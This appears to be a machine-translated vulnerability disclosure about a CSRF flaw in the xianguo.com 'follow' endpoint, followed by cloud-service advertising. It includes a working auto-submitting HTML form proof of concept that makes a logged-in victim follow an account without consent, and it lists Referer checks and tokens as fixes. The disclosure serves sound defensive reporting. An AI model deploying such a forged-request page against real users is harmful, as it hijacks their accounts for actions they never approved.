A csrf vulnerability in xiaguo network may cause worms to spread, publish text and add attention without the user's consent!
Detailed Description: When receiving POST and GET information, the Referer of POST is not verified, and the token is not added to the POST information to verify the correctness of the information, cause the vulnerability.
Demo address: http://in.imlonghao.com/WooYun-XXXXX/ (username/password: imlonghao)
When you log on to the system, a Weibo account named Hello World will be automatically sent and a user will be followed.
Vulnerability address: http://xianguo.com/beings/follow
<Html>
<Body>
<Form id = "imlonghao" name = "imlonghao" action = "http://xianguo.com/beings/follow" method = "post">
<Input type = "text" name = "beingsIds" value = "1378148"/>
<Input type = "text" name = "parentId" value = "0"/>
<Input type = "text" name = "ftype" value = "0"/>
</Form>
<Script>
Document. imlonghao. submit ();
</Script>
</Body>
</Html>
Interface return information
Effect
[Text]
Solution:
Check POST Referer
Add token in POST information
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
